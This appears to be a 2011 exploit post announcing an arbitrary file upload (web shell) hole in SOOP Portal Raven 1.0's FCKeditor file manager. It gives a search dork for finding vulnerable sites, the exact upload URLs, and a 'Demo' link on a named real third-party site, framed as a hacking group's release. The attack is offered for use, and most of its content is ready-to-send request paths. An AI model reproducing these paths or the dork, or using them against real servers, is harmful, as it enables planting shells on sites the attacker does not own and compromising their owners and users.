SOOP Portal Raven version 1.0 suffers from a fckeditor shell upload vulnerability.
0f8273872316d694baa3f500986ae9071919c3115aa8db27659d4bf52a44aaad
In The Name Of GOD
==============================================================================
SOOP Portal Raven 1.0 (fckeditor) Arbitrary File Upload Vulnerability
==============================================================================
[»] Title : [ SOOP Portal Raven 1.0 (fckeditor) Arbitrary File Upload Vulnerability ]
[»] TestedON: [ Windows/ASP ]
[»] Download: [ http://www.soopportal.org/ ]
[»] Author : [ HELLBOY }
[»] Email : [ A68_HELLBOY@YAHOO.COM ]
[»] Date : [ 2011-10-28 ]
[»] Version : [ Full Version ]
[»] Dork : [ "Powered by SOOP Portal Raven 1.0b" ]
###########################################################################
===[ Upload To ]===
[»] http://server/[patch]/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/
[»] http://server/forum/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/
===[ Demo ]===
[»] http://www.cofcantabria.com/portal/forum/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/
===[ We Are : ./Iranian HackerZ ]===
Thanks To : GENERALL , BLACK.VIPER , SKOTE_VAHSHAT
###########################################################################